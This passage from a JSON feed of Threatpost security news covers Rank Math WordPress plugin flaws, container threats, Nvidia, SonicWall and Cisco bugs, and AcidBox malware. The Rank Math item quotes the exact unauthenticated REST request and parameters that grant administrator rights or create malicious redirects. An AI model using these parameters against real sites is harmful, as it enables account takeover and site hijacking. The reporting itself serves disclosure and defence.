unauthenticated attacker to create redirects from almost any location on the site to any destination of their choice.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWordfence disclosed the bugs to the developer of the add-on on March 24 (its full name is \u201cWordPress SEO Plugin \u2013 Rank Math\u201d) \u2013 and CVE tracking numbers are forthcoming, researchers said, [in an analysis](<https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/>) released Tuesday. A patch is now available in the latest version, 1.0.41.1, so Web administrators should update their sites.\n\n**Critical Metadata Flaw**\n\nRank Math allows users to update the metadata on website posts \u2013 which is where the bug lies, according to a technical analysis published on Tuesday by Wordfence.\n\nThe plugin registers a REST-API endpoint, rankmath/v1/updateMeta, the firm explained in its breakdown. This calls a function called \u201cupdate_metadata,\u201d which could be used to update the slug on existing posts, or could be used to delete or update metadata for posts, comments and terms. This endpoint also allows for updating metadata for users.\n\nThe issue is that in non-patched versions, the endpoint fails to include a permissions check on users making changes.\n\n\u201cWordPress user permissions are stored in the usermeta table, which meant that an unauthenticated attacker could grant any registered user administrative privileges by sending a $_POST request to wp-json/rankmath/v1/updateMeta, with an objectID parameter set to the User ID to be modified, an objectType parameter set to user, a meta[wp_user_level] parameter set to 10, and a meta[wp_capabilities][administrator] parameter set to 1,\u201d the analysis noted.\n\nA nefarious type could also completely revoke an existing administrator\u2019s privileges by sending a similar request with a meta[wp_user_level] parameter and a meta[wp_capabilities] parameter set to empty values, the researchers added, effectively locking administrators out of their own sites.\n\n\u201cNote that these attacks are only the most critical possibilities. Depending on the other plugins installed on a site, the ability to update post, term and comment metadata could potentially be used for many other exploits such as cross-site scripting (XSS),\u201d the researchers commented.\n\n**Malicious Redirect Bonanza**\n\nThe Rank Math plugin also comes with an optional module that can be used to create redirects on a site. An administrator might do this to direct visitors away from pages under construction, for example.\n\nIn order to add this feature, the plugin registers a REST-API endpoint for this too, called \u201crankmath/v1/updateRedirection.\u201d And, like the other vulnerability, this endpoint fails to execute a permissions check, according to Wordfence \u2013 which means that an attacker could easily create new redirects or modify existing redirects. As such, the attack could essentially be used to prevent access to almost all of a site\u2019s existing content, according to the analysis, by simply redirecting visitors to a malicious site.\n\n\u201cIn order to perform this attack, an unauthenticated attacker could send a $_POST request to rankmath/v1/updateRedirection with a redirectionUrl parameter set to the location they wanted the redirect to go to, a redirectionSources parameter set to the location to redirect from, and a hasRedirect parameter set to true,\u201d Wordfence researchers wrote.\n\nThere is, however, a caveat that accounts for the lower-severity rating of the bug: \u201cThe redirect could not be set to an existing file or folder on the server, including the site\u2019s main page,\u201d according to the analysis. \u201cThis limited the damage to some extent in that, while an attacker could create a redirect from most locations on the site, including new locations, or any existing post or page other than the homepage, they could not redirect visitors immediately upon accessing the site.\u201d\n\nWeb admins can mitigate the issues by building in a \u201cpermission_callback\u201d on any REST-API endpoints, or by updating to the latest version of the plug-in.\n\nWordPress plugins continue to make headlines as weak links that can lead to website compromises. For instance, in March, a critical vulnerability in a WordPress plugin known as \u201cThemeREX Addons\u201d [was found](<https://threatpost.com/themerex-wordpress-plugin-remote-code-execution/153592/>) that could open the door for remote code execution in 44,000 websites.\n\nAlso in March, two vulnerabilities \u2013 including a high-severity flaw \u2013 [were patched](<https://threatpost.com/wordpress-plugin-bug-popup-builder/153715/>) in a popular WordPress plugin called Popup Builder. The more severe flaw could enable an unauthenticated attacker to infect malicious JavaScript into a popup \u2013 potentially opening up more than 100,000 websites to takeover.\n\nIn February, popular WordPress plugin Duplicator, which has more than 1 million active installations, [was discovered to have](<https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/>) an unauthenticated arbitrary file download vulnerability that was being attacked. And, earlier that month, a critical flaw in a popular WordPress plugin that helps make websites compliant with the General Data Protection Regulation (GDPR) [was disclosed](<https://threatpost.com/critical-wordpress-plugin-bug-afflicts-700k-sites/152871/>); it could enable attackers to modify content or inject malicious JavaScript code into victim websites. It affected 700,000 sites.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/24173101/DUO_320x50.jpg)](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-04-01T18:03:01", "type": "threatpost", "title": "Critical WordPress Plugin Bug Can Lock Admins Out of Websites", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-01T18:03:01", "id": "THREATPOST:1973BA4B294E79D107940CF5DA67CB9A", "href": "https://threatpost.com/critical-wordpress-plugin-bug-lock-admins-out/154354/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-05-03T11:14:04", "description": "Containers are self-contained pods representing complete, portable application environments. They contain everything an application needs to run, including binaries, libraries, configuration files and dependencies (Docker and Amazon Elastic, for instance, are two of the more well-known offerings).\n\nMultiple containers can run on a shared infrastructure and use the same operating system kernel, but they\u2019re abstracted from that layer and have little contact with the underlying hosting resources (which could be, for example, a public cloud instance).\n\n_[**Editor\u2019s Note:** This article was originally published in the free Threatpost eBook \u201c[Cloud Security: The Forecast for 2022.](<https://bit.ly/3Jy6Bfs>)\u201d In it we explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists. Please download the [FREE eBook](<https://bit.ly/3Jy6Bfs>) for the full story]_\n\nThe benefits of running cloud-based containers are varied and include the ability to easily spin applications up and down for users (think \u201cwrite once, run everywhere\u201d \u2013 a big boon for companies managing pandemic-related remote footprints). They also offer major infrastructure cost savings compared with managing applications on owned-and-operated servers or on virtual machines. They also provide increased agility by supporting DevOps goals.\n\n![docker container](https://media.threatpost.com/wp-content/uploads/sites/103/2019/05/09121557/Docker-Image-Container-150x150.png)Containers are also easy to manage, thanks to orchestration engines such as Kubernetes. Admins can use orchestration to manage containerized apps and services at scale in a centralized fashion, pushing out automatic updates, isolating any failing containers and the like.\n\nAs a result, container adoption is at an all-time high, with companies of all sizes looking to embrace the technology. In just one example, a survey from the Cloud Native Computing Foundation (CNCF) found that 83 percent of respondents were using Kubernetes in production in 2020, up from 78 percent the previous year and just 58 percent in 2018.\n\nAs adoption increases, so does the interest of cybercriminals. A June Red Hat survey found that a whopping 94 percent of respondents had suffered a Kubernetes security incident over the previous 12 months.\n\n\u201cKubernetes attacks are actually quite common, especially given how popular the container orchestration software is,\u201d said Trevor Morgan, product manager at comforte AG. \u201cThe array of threats to Kubernetes environments is quite broad.\u201d\n\nHe added, \u201cWhether they are state-sponsored agents trying to undermine other political entities or are part of a gang or individual effort to steal for financial gain, the common denominator is always sensitive information. If threat actors can get to sensitive information, they can leverage it to build more complete data subject profiles (to then use for nefarious purposes), to hold information for ransom, and to weaponize it in any number of ways. And don\u2019t underestimate the sheer value of chaos that this all can create. They thrive in environments of fear and chaos.\u201d\n\n## **Containers in Cyberattack Sights**\n\nAs an example of how popular targeting vulnerable cloud infrastructure has become, Akamai security researcher Larry Cashdollar recently set up a simple Docker container honeypot, just to see what kind of notice it might attract from the wider web\u2019s cadre of cyberattackers. The results were head-turning: The honeypot was used for four different criminal campaigns in the span of 24 hours.\n\nCashdollar had implemented SSH protocol for encryption and implemented a \u201cguessable\u201d root password. Since it was running a standard cloud container configuration, it wouldn\u2019t stand out on the web as an obvious honeypot, he explained. Instead, it would simply look like a vulnerable cloud instance.\n\n![](https://media.threatpost.com/wp-content/uploads/sites/103/2018/10/16160730/insecure-cloud-data-150x150.jpeg)The attacks were varied in terms of their goals: One campaign tried to use the container as a proxy to tap into Twitch streams or access other services, another attempted a botnet infection, another performed cryptomining, and the last effort involved running a work-from-home scam.\n\nAs these examples show, \u201cprofit is still the primary motivation for cybercriminals targeting containers,\u201d explained Mark Nunnikhoven, distinguished cloud strategist at Lacework. \u201cMalicious actors strive to retrieve access to resources or data they can convert into a profit. Resources like CPU time and bandwidth can be resold to other criminals for underground services, or even can be used to mine cryptocurrency directly. Data can always be sold or ransomed. These motivations don\u2019t change in an environment that heavily leverages containers.\u201d\n\n## **Misconfiguration: The Most-Common Container Risk Factor**\n\nContainer technology, like other types of infrastructure, can be compromised in a number of different ways \u2013 however, misconfiguration reigns atop the initial-access leaderboard. According to a recent Gartner analysis, through 2025, more than 99 percent of cloud breaches will have a root cause of customer misconfigurations or mistakes.\n\n\u201cContainers are often deployed in sets and in very dynamic environments,\u201d Nunnikhoven explained. \u201cThe misconfiguration of access, networking and other settings can lead to an opportunity for cybercriminals.\u201d\n\nTrevor Morgan, product manager at comforte AG, noted that companies, especially smaller companies, are generally using default configuration settings vs. more sophisticated and granular configuration capabilities: \u201cBasic misconfigurations or accepting default settings that are far less secure than customized settings.\u201d\n\nThat can lead to big (and expensive) problems. For instance, last June the \u201cSiloscape\u201d malware was discovered, which is the first known malware to target Windows containers. It breaks out of Kubernetes clusters to plant backdoors, raid nodes for credentials or even hijack an entire database hosted in a cluster. Its main purpose, Palo Alto Networks Unit 42 researchers said, is opening \u201ca backdoor into poorly configured Kubernetes clusters in order to run malicious containers.\u201d\n\nConfiguration woes often extend beyond the containers themselves. Last July, for example, Kubernetes clusters were seen being attacked via misconfigured Argo Workflows instances.\n\nArgo Workflows is an open-source, container-native workflow engine for orchestrating parallel jobs on Kubernetes \u2013 to speed up processing time for compute-intensive jobs like machine learning and big-data processing. Malware operators were taking advantage of publicly available dashboards that didn\u2019t require authentication for outside users, according to an analysis from Intezer, in order to drop cryptominers into the cloud.\n\n## Compromised Container Images\n\nNunnikhoven noted that beyond misconfiguration, compromised images or layers are the next most important risk to containers. Images are pre-made, static files with executable code that can create a container on a computing system. They can be made available via open-source repositories for easy deployment.\n\n\u201cLacework Labs has seen several occurrences of cybercriminals compromising containers either through malware implants or cryptomining programs being pre-installed in the image,\u201d he explained. \u201cWhen a team deploys those images, the attacker then gains access to the resources of the victim.\u201d\n\nA related case involves a bug found in 2020 in the Containerd runtime tool, which manages the complete container lifecycle of its host system. The bug (CVE-2020-15157) was located in the container image-pulling process, according to Gal Singer, researcher at Aqua Security. Adversaries could exploit it by building dedicated container images designed to steal the host\u2019s token when they were pulled into a project. Then, they could use the token to take over a cloud project.\n\nSimilarly, a denial-of-service issue in one of the Go libraries that Kubernetes is based on (CVE-2021-20291) was found to be triggered by placing a malicious image inside a registry. The DoS condition was created when that image was pulled from the registry by an unsuspecting user.\n\n## Bug Parade\n\nThe next problem area arises from vulnerabilities, both known and zero-day issues. Several container bugs were identified in 2021, but perhaps the most disconcerting was \u201cAzurescape.\u201d\n\n![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/19144606/Bugs-Software-150x150.jpg)Unit 42 researchers discovered a chain of exploits that could allow a malicious Azure user to infiltrate other customers\u2019 cloud instances within Microsoft\u2019s multitenant container-as-a-service offering. This critical crossaccount container takeover was described as a \u201cnightmare scenario for the public cloud.\u201d\n\n\u201cAzurescape is evidence that they\u2019re more real than we\u2019d like to think,\u201d according to Unit 42. \u201cCloud providers invest heavily in securing their platforms, but it\u2019s inevitable that unknown zero-day vulnerabilities would exist and put customers at risk.\u201d\n\n## **Best Practices for Container Defense**\n\nContainerized environments can present unique challenges for observability and in the application of security controls, Nunnikhoven noted, but following a layered security approach can help.\n\n\u201cGiven the speed of change and the scale of these environments, organizations must be able to quickly analyze the operational data looking for abnormal behaviors,\u201d he said. \u201cThe traditional approach of having a list of \u2018bad\u2019 things to look for won\u2019t work in a container-based environment.\u201d\n\nTo protect one\u2019s Kubernetes assets, users should implement a laundry list of best practices, researchers advised:\n\n * Keep cluster infrastructure patched;\n * Avoid default configurations;\n * Employ strong passwords;\n * Refrain from sending privileged service accounts tokens to anyone but the API server to prevent attackers from masquerading as the token owner;\n * Enable the \u201cBoundServiceAccountTokenVolume\u201d feature: When a pod terminates, its token is no longer valid, minimizing the impact of token theft;\n * Deploy policy enforcers to monitor and prevent suspicious activity within clusters, especially service accounts or nodes that query the SelfSubjectAccessReview or SelfSubjectRulesReview APIs for their permissions;\n * Pull container images from reputable sources, stored in secured repositories, tagged and signed with trust certificates. When new versions become available, archive outdated versions from the repositories;\n * Evaluate orchestrators for least-privilege configurations to ensure that movements within CI/CD are authenticated, logged and monitored;\n * Be holistic: Create a consolidated view of risk across cloud-application environments as well as traditional IT infrastructure;\n * Have data-analysis tooling in place and an automated runbook that can react to the results of that analysis;\n * Provide the context and information to your security analysts to make a timely and informed decision, and then run the appropriate automated response; and\n * Protect data at ingress and egress.\n\n\u201cAs containers multiply, so does the attack surface open up, which gives more entryways into the company\u2019s operational environment,\u201d said comforte AG\u2019s Morgan. \u201cLearn from reported breaches and other incidents. They are not just situations that happen to other companies \u2013 your business right now may be sustaining an attack somewhere, perhaps on your container environment. Assume that that\u2019s the case and act accordingly to audit, assess and bolster your defensive posture. The fallout is much more expensive and certainly is damaging to your organization as a whole.\u201d\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our_**[ **_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2022-05-02T12:15:36", "type": "threatpost", "title": "Deep Dive: Protecting Against Container Threats in the Cloud", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.1, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157", "CVE-2021-20291"], "modified": "2022-05-02T12:15:36", "id": "THREATPOST:CCBBEA3067FE857C1A87F48128362DB2", "href": "https://threatpost.com/container_threats_cloud_defend/179452/", "cvss": {"score": 7.1, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2020-10-26T18:13:11", "description": "Nvidia, which makes gaming-friendly graphics processing units (GPUs), has issued fixes for two high-severity flaws in the Windows version of its GeForce Experience software.\n\nGeForce Experience is a supplemental application to the GeForce GTX graphics card \u2014 it keeps users\u2019 drivers up-to-date, automatically optimizes their game settings and more. GeForce Experience is installed by default on systems running NVIDIA GeForce products, Nvidia\u2019s brand of GPUs.\n\nThe most severe flaw of the two (CVE-2020-5977) can lead to a slew of malicious attacks on affected systems \u2013 including code execution, denial of service, escalation of privileges and information disclosure. It ranks 8.2 out of 10 on the CVSS scale, making it high severity.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIn a Thursday security advisory, the graphics giant said users can \u201cdownload the updates from the [GeForce Experience Downloads](<https://www.geforce.com/geforce-experience/download>) page or open the client to automatically apply the security update.\u201d\n\nThe flaw specifically stems from the Nvidia Web Helper NodeJS Web Server. When users install GeForce Experience, Node.js runs on startup and provides a webserver connection with Nvidia. The issue here is that an uncontrolled search path is used to load a node module, [which occurs when](<https://cwe.mitre.org/data/definitions/427.html>) an application uses fixed search paths to find resources \u2013 but one or more locations of the path are under control of malicious user. Attackers can leverage tactics like DLL preloading, binary planting and insecure library loading in order to exploit this vulnerability.\n\nWhile further details regarding this specific flaw are not available from Nvidia, the company did say that attackers can leverage the flaw to execute code, launch a DoS attack, escalate their privileges or view sensitive data. Xavier DANEST with Decathlon was credited with discovering the flaw.\n\nNvidia on Thursday also issued patches for another high-severity flaw in the ShadowPlay component of GeForce Experience (CVE\u20112020\u20115990), which may lead to local privilege escalation, code execution, DoS or information disclosure. Hashim Jawad of ACTIVELabs was credited with discovering the flaw.\n\nVersions of Nvidia GeForce Experience for Windows prior to 3.20.5.70 are affected; users are urged to update to version 3.20.5.70.\n\nNvidia has previously warned of security issues affecting its GeForce brand, including an issue [affecting GeForce Experience in 2019](<https://threatpost.com/nvidia-geforce-experience-bug/143196/>) that could lead to code execution or denial of service of products if exploited.\n\nIn June, Nvidia fixed t[wo high-severity flaws that affected drivers](<https://threatpost.com/nvidia-windows-gamers-graphics-driver-bugs/156911/>) for Windows and Linux users, including ones that use Nvidia\u2019s GeForce, Quadro and Tesla software. And in March, [Nvidia issued patches for high-severity bugs](<https://threatpost.com/gamer-alert-serious-nvidia-flaw-plagues-graphics-driver/153380/>) in its graphics driver, which can be exploited by a local attacker to launch DoS or code-execution attacks, and also affected display drivers used in GeForce (as well as Quadro and Tesla-branded) GPUs for Windows.\n", "cvss3": {}, "published": "2020-10-23T14:09:28", "type": "threatpost", "title": "Nvidia Warns Gamers of Severe GeForce Experience Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-15157", "CVE-2020-5977", "CVE-2020-5990"], "modified": "2020-10-23T14:09:28", "id": "THREATPOST:939D3A37125502BC9EE7A2E56EB485A7", "href": "https://threatpost.com/nvidia-gamers-geforce-experience-flaws/160487/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-06-23T17:55:37", "description": "UPDATE\n\nAn October patch [for a critical remote code execution (RCE) bug in a SonicWall VPN](<https://threatpost.com/critical-sonicwall-vpn-bug/160108/>) appliance turned out to be insufficient. While the patch closed the RCE attack vector, more than 800,000 devices were still vulnerable to an additional memory-leak flaw for months, according to researchers.\n\nSonicWall originally patched the stack-based buffer overflow vulnerability in the SonicWall Network Security Appliance (NSA), tracked as [CVE-2020-5135](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0010>), back in October.\n\nHowever, Craig Young, a computer security researcher with Tripwire\u2019s Vulnerability and Exposures Research Team (VERT), said the initial patch for the vulnerability was \u201cbotched,\u201d needing a \u201cone- or two-line fix\u201d to be complete, he wrote in a [report](<https://www.tripwire.com/state-of-security/featured/analyzing-sonicwalls-unsuccessful-fix-for-cve-2020-5135/>) published Tuesday, which details the specifics of where the fix went wrong.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerability ([CVE-2021-20019](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0006>)), not addressed by the initial October patch, is described in a security bulletin published Tuesday as, \u201cA vulnerability in SonicOS where the HTTP server response leaks partial memory by sending a crafted unauthenticated HTTP request. This can potentially lead to an internal sensitive data disclosure vulnerability.\u201d\n\nIn a statement from SonicWall sent to Threatpost it stated:\n\n_\u201cSonicWall is active in collaborating with third-party researchers, security vendors and forensic analysis firms to ensure its products meet or exceed expected security standards. Through the course of this practice, SonicWall was made aware of, verified, tested and patched a non-critical buffer overflow vulnerability that impacted versions of SonicOS. SonicWall is not aware of this vulnerability being exploited in the wild. As always, SonicWall strongly encourages organizations maintain patch diligence for all security products.\u201d _\n\nThe initial bug, with a CVSS severity rating of 9.4. The vulnerability highlighted by Tripwire has a medium CVSS severity rating of 5.3.\n\nThough SonicWall was aware of the problem soon after the fix was released, it only released a complete patch this week, Young wrote.\n\n\u201cI had expected that a patch would probably come out quickly but, fast-forward to March and I still had not heard back,\u201d he wrote. \u201cI reconnected with their PSIRT [Product Security Incident Response Team] on March 1, 2021, for an update, but ultimately it took until well into June before an advisory could be released.\u201d\n\n## **Where It Went Wrong**\n\nYoung and Nikita Abramov, application analysis specialist at Positive Technologies (PT), were credited back in October with finding the flaw, which exists within the HTTP/HTTPS service used for product management and SSL VPN remote access.\n\nThe vulnerability could allow an unskilled attacker to trigger a persistent denial-of-service (DoS) condition using an unauthenticated HTTP request involving a custom protocol handler, as well as spread further damage, Young wrote in his [analysis](<https://www.tripwire.com/state-of-security/vert/sonicwall-vpn-portal-critical-flaw-cve-2020-5135/>) at the time.\n\nAbramov and Young both reported the bug to SonicWall around the same time in late September, and the company gave Young a date of Oct. 5 for a patch to resolve the problem. That date later was pushed up to Oct. 14, he said, which is when SonicWall also acknowledged to Threatpost that it had indeed issued a patch for the flaw.\n\nHowever, after the patch was released, Young tested a SonicWall VPN on Microsoft Azure to confirm how it responded to a proof-of-concept exploit he\u2019d devised for the flaw and found that it was still vulnerable. However, though it did not crash the system, the exploit payload did trigger a flood of binary data in response, he wrote, providing a screenshot of the result in his analysis.\n\n\u201cAs you can see from the screenshot, there are values in the binary data which certainly look like they could be memory addresses,\u201d Young wrote. \u201cAlthough I never observed recognizable text in the leaked memory, I believe this output could vary based on how the target system is used. I also suspect that the values in my output are in fact memory addresses which could be a useful information leak for exploiting an RCE bug.\u201d\n\nYoung\u2019s final assessment of his test was that the fix was incomplete, he said. \u201cThe unbounded string copy was replaced with an appropriate memory safe function, but the return value was not properly considered,\u201d he wrote.\n\n## **Delayed Security Advisory**\n\nYoung reported his findings to SonicWall PSIRT on Oct. 6 and followed up several times before receiving a response on Oct. 9 that \u201cconfirmed my expectation that this was the result of an improper fix for CVE-2020-5135, and told me that the patched firmware versions had already started to become available on mysonicwall.com as well as via Azure,\u201d he wrote.\n\nSix days later, Young said he received a response from the company that he would be informed when the memory-dump issue he identified was resolved and ready for release. He followed up again in March when he still had not heard back, he said.\n\nUltimately, it would take until this Wednesday, June 22, before SonicWall would publicly post [the advisory](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0010>) for the updated patch to the vulnerability, Young wrote.\n\nThe security advisory also patches a number of other bugs in SonicWall platforms, a complete list of which is available in both the company\u2019s post and Young\u2019s analysis.\n\n_(This article was updated on 6/23 at 12:30 p.m. ET to reflect additional reporting on a portion of a vulnerability not addressed by SonicWall\u2019s October patch. A clarification was also made to more clearly indicate that SonicWall\u2019s initial patch did mitigate the RCE bug. The article also includes a statement from SonicWall.) _\n\n**Join Threatpost for \u201c**[**Tips and Tactics for Better Threat Hunting**](<https://threatpost.com/webinars/tips-and-tactics-for-better-threat-hunting/?utm_source=ART&utm_medium=ART&utm_campaign=June_PaloAltoNetworks_Webinar>)**\u201d \u2014 a LIVE event on **[**Wed., June 30 at 2:00 PM ET**](<https://threatpost.com/webinars/tips-and-tactics-for-better-threat-hunting/?utm_source=ART&utm_medium=ART&utm_campaign=June_PaloAltoNetworks_Webinar>)** in partnership with Palo Alto Networks. Learn from Palo Alto\u2019s Unit 42 experts the best way to hunt down threats and how to use automation to help. **[**Register HERE**](<https://threatpost.com/webinars/tips-and-tactics-for-better-threat-hunting/?utm_source=ART&utm_medium=ART&utm_campaign=June_PaloAltoNetworks_Webinar>)** for free!**\n", "cvss3": {}, "published": "2021-06-23T10:44:07", "type": "threatpost", "title": "SonicWall 'Botches' October Patch for VPN Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135", "CVE-2021-20019"], "modified": "2021-06-23T10:44:07", "id": "THREATPOST:70ADDCF33645E0424EA606C8912FDDCF", "href": "https://threatpost.com/sonicwall-botches-critical-vpn-bug/167152/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:20:38", "description": "Cisco Systems says hackers are actively exploiting previously unpatched vulnerabilities in its carrier-grade routers that could allow adversaries to crash or severely disrupt devices.\n\nThe vulnerabilities exist in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software and could allow an unauthenticated, remote attacker to immediately crash the Internet Group Management Protocol (IGMP) process, the company warned [in an advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz>) over the weekend.\n\nThe flaw, tracked as [CVE-2020-3566](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz>), also allows attackers to make devices consume available memory and eventually crash, something that can \u201cnegatively impact other processes that are running on the device,\u201d the company warned. \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>) \nIOS XR Software runs many of Cisco\u2019s carrier-grade network routers, including the [CRS](<https://en.wikipedia.org/wiki/Carrier_Routing_System>) series, [12000](<https://en.wikipedia.org/wiki/Cisco_12000>) series, and [ASR9000](<https://en.wikipedia.org/wiki/ASR9000>) series. The vulnerabilities affect \u201cany Cisco device that is running any release of Cisco IOS XR Software if an active interface is configured under multicast routing and it is receiving DVMRP traffic,\u201d the company said.\n\nThe cause of the flaws is the incorrect management of how IGMP packets, which help maintain the efficiency of network traffic, are queued, the company said.\n\n\u201cAn attacker could exploit these vulnerabilities by sending crafted IGMP traffic to an affected device,\u201d according to the advisory. \u201cA successful exploit could allow the attacker to immediately crash the IGMP process or cause memory exhaustion, resulting in other processes becoming unstable. These processes may include, but are not limited to, interior and exterior routing protocols.\u201d\n\nCisco is currently working on software updates to address the vulnerabilities, which have no workaround, the company said. However, companies using the affected routers can mitigate attacks depending on their needs and network configuration, according to Cisco.\n\nIn the case of a memory exhaustion, Cisco recommends that customers implement a rate limiter, which will require that customers understand their current rate of IGMP traffic and set a rate lower than the current average rate.\n\n\u201cThis command will not remove the exploit vector,\u201d the company acknowledged. \u201cHowever, the command will reduce the traffic rate and increase the time necessary for successful exploitation. The customer can use this time to perform recovery actions.\u201d\n\nIt is possible to recover the memory consumed by the IGMP process by restarting the IGMP process, according to Cisco, which provided details for how to do so.\n\nTo mitigate both memory exhaustion and the immediate IGMP process crash, Cisco advised that customers implement an access control entry (ACE) to an existing interface access control list (ACL). Alternatively, the customer can create a new ACL for a specific interface that denies DVMRP traffic inbound on that interface, the company said.\n\nIf an attacker does successfully crash a router\u2019s IGMP process, operators do not need to manually restart the IGMP process because the system will perform that action, which will recover the consumed memory, according to Cisco.\n\nIn addition to mitigations, the company also provided details in the advisory for how network operators will know if a router has been compromised and other details for dealing with any attack on the vulnerabilities until a fix can be found.\n\n**[On Wed Sept. 16 @ 2 PM ET:](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>) Learn the secrets to running a successful Bug Bounty Program. [Register today](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) for this FREE Threatpost webinar \u201c[Five Essentials for Running a Successful Bug Bounty Program](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this [LIVE](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) webinar.**\n", "cvss3": {}, "published": "2020-09-02T12:28:15", "type": "threatpost", "title": "Cisco Warns of Active Exploitation of Flaw in Carrier-Grade Routers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-3566", "CVE-2020-5135"], "modified": "2020-09-02T12:28:15", "id": "THREATPOST:A5D4FD6C2281AE395B821A8D0EB5736D", "href": "https://threatpost.com/cisco-warns-of-active-exploitation-of-flaw-in-carrier-grade-routers/158887/", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2020-10-14T22:23:47", "description": "Advanced malware, dubbed AcidBox, has been identified by researchers who say a mysterious cybergang used it twice against Russian organizations as far back as 2017. In a report released Wednesday, Palo Alto Networks\u2019 Unit 42 sheds new light onto attacks against the popular open-source virtualization software VirtualBox that used the AcidBox malware.\n\nUnit 42\u2019s postmortem on the VirtualBox attacks begins in 2008 when researchers at Core Security found a bug in the Windows Vista security mechanism called [Driver Signature Enforcement](<https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559\$v=vs.85\$?redirectedfrom=MSDN>) (DSE). The flaw allowed an attacker to disable DSE and install rogue software onto targeted instances of Oracle\u2019s VirtualBox software. The bug (CVE-2008-3431) impacting VirtualBox driver VBoxDrv.sys was patched in version 1.6.4.\n\nFast forward to 2o14, and the notorious Turla Group developed the first malware to abused a third-party device driver to disable DSE, weaponizing Core Security\u2019s research. The Turla Group attacks also focused on VirtualBox drivers. And despite Oracle\u2019s 2008 patch, Turla operators successfully figured out how to disabled DSE with its malware. That\u2019s because, according to Unit 42, despite the bug (CVE-2008-3431) fix, only one of two vulnerabilities were patched in 2008.\n\n\u201cThe exploit used by Turla actually abuses two 